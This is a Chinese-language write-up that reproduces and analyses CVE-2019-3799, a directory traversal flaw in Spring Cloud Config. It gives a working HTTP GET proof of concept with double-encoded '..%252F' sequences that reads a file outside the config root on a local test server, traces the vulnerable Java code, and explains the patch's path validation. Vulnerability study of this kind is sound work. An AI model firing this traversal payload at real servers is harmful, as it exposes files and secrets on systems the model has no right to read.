CVE-2019-3799spring-cloud-config 目录穿越漏洞复现
目前受影响的 Spring Cloud Config 版本:
- Spring Cloud Config 2.1.0 ~ 2.1.1
- Spring Cloud Config 2.0.0 ~ 2.0.3
- Spring Cloud Config 1.4.0 ~ 1.4.5
先放 poc:
GET /aaaa/aaaa/master/..%252F..%252F..%252F..%252F..%252F..%252FTemp%252F1.txt HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
本地测试是在 windows 下,%252F 的数量可以根据系统和目录的不同进行增减。
为了展示更好的利用效果,我们在 C:\Temp 目录下建一个 1.txt,内容为 test。 发送利用代码: 漏洞源码下载地址: https://github.com/spring-cloud/spring-cloud-config/releases/tag/v2.1.0.RELEASE
用 IDEA 打开 spring-cloud-config-server 的目录,spring-cloud-config 分为 server 端和 client 端,该漏洞是爆发在 server 端,所以打开的是 server 端的源码。断点在图中 ResourceController.java 的 77 行。
发送 POC,发现断点捕捉成功。
根据@RequestMapping("/{name}/{profile}/{label}/**")
可知,我们的路由是符合这个 action 的。 跟踪代码。 这块我们仔细讲下有几个函数下面的底层实现逻辑。
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
@PathVariable String label, HttpServletRequest request,
@RequestParam(defaultValue = "true") boolean resolvePlaceholders)
throws IOException {
String path = getFilePath(request, name, profile, label);
return retrieve(name, profile, label, path, resolvePlaceholders);
}
看下 getFilePath 的实现。
private String getFilePath(HttpServletRequest request, String name, String profile,
String label) {
String stem;
if(label != null ) {
stem = String.format("/%s/%s/%s/", name, profile, label);
}else {
stem = String.format("/%s/%s/", name, profile);
}
String path = this.helper.getPathWithinApplication(request);
path = path.substring(path.indexOf(stem) + stem.length());
return path;
}
直接来到 return,可以看到 IDEA 帮我们把变量的数值都已经计算出来了。通过 return 的 path 可知,这个 getFilePath 是用来获得 POC 里 URI 路径里的最后一段内容..%252F..%252F..%252F..%252F..%252F..%252FTemp%252F1.txt
回到上级代码,进入retrieve
函数的实现:
synchronized String retrieve(String name, String profile, String label, String path,
boolean resolvePlaceholders) throws IOException {
if (name != null && name.contains("(_)")) {
// "(_)" is uncommon in a git repo name, but "/" cannot be matched
// by Spring MVC
name = name.replace("(_)", "/");
}
if (label != null && label.contains("(_)")) {
// "(_)" is uncommon in a git branch name, but "/" cannot be matched
// by Spring MVC
label = label.replace("(_)", "/");
}
// ensure InputStream will be closed to prevent file locks on Windows
try (InputStream is = this.resourceRepository.findOne(name, profile, label, path)
.getInputStream()) {
String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
if (resolvePlaceholders) {
Environment environment = this.environmentRepository.findOne(name,
profile, label);
text = resolvePlaceholders(prepareEnvironment(environment), text);
}
return text;
}
}
根据源码可知,前两个 if 是用来替换目录中含有(_)
为/
的逻辑,一个替换 name 位置,一个替换 label 位置,直接来到 try 位置。看看 IDEA 告诉我们 name 和 label 具体对应的是什么。
来到 try,可以看到这个 try 有点不太一样,是try(){}
的形式,可以查一下资料: https://blog.csdn.net/qq_33543634/article/details/80725899 可知: 简单来说,()
里的内容比 {}
先执行,进入 find0ne 方法:
public synchronized Resource findOne(String application, String profile, String label,
String path) {
String[] locations = this.service.getLocations(application, profile, label).getLocations();
try {
for (int i = locations.length; i-- > 0;) {
String location = locations[i];
for (String local : getProfilePaths(profile, path)) {
Resource file = this.resourceLoader.getResource(location)
.createRelative(local);
if (file.exists() && file.isReadable()) {
return file;
}
}
}
}
catch (IOException e) {
throw new NoSuchResourceException(
"Error : " + path + ". (" + e.getMessage() + ")");
}
throw new NoSuchResourceException("Not found: " + path);
}
来到if (file.exists() && file.isReadable()) {
, 看下循环的getProfilePaths(profile, path)
的内容,是个数组,数组第一个不符合要求,第二个符合我们要读的文件内容: 循环来到第二个 local ..%2F..%2F..%2F..%2F..%2F..%2FTemp%2F1.txt
进入 if 判断,如果文件存在,且可以 read,就会返回 file。
这时候已经把读出来的内容复制到 text 内容返回了。
最后展示到了返回值里。 整个漏洞流程就是这么个逻辑。
我们来看下补丁是怎么打的。在 2.1.2 代码与 2.1.0 代码进行比较。
@Override
public synchronized Resource findOne(String application, String profile, String label,
String path) {
if (StringUtils.hasText(path)) {
String[] locations = this.service.getLocations(application, profile, label)
.getLocations();
try {
for (int i = locations.length; i-- > 0;) {
String location = locations[i];
for (String local : getProfilePaths(profile, path)) {
if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) {
Resource file = this.resourceLoader.getResource(location)
.createRelative(local);
if (file.exists() && file.isReadable()) {
return file;
}
}
}
}
}
catch (IOException e) {
throw new NoSuchResourceException(
"Error : " + path + ". (" + e.getMessage() + ")");
}
}
throw new NoSuchResourceException("Not found: " + path);
}
多了isInvalidPath
和 isInvalidEncodedPath
,去看下这个两个函数的源码:
protected boolean isInvalidPath(String path) {
if (path.contains("WEB-INF") || path.contains("META-INF")) {
if (logger.isWarnEnabled()) {
logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]");
}
return true;
}
if (path.contains(":/")) {
String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
if (logger.isWarnEnabled()) {
logger.warn(
"Path represents URL or has \"url:\" prefix: [" + path + "]");
}
return true;
}
}
if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
if (logger.isWarnEnabled()) {
logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: ["
+ path + "]");
}
return true;
}
return false;
}
private boolean isInvalidEncodedPath(String path) {
if (path.contains("%")) {
try {
// Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8
// chars
String decodedPath = URLDecoder.decode(path, "UTF-8");
if (isInvalidPath(decodedPath)) {
return true;
}
decodedPath = processPath(decodedPath);
if (isInvalidPath(decodedPath)) {
return true;
}
}
catch (IllegalArgumentException | UnsupportedEncodingException ex) {
// Should never happen...
}
}
return false;
}
对一些目录和字符串进行了过滤。
本文使用 mdnice 排版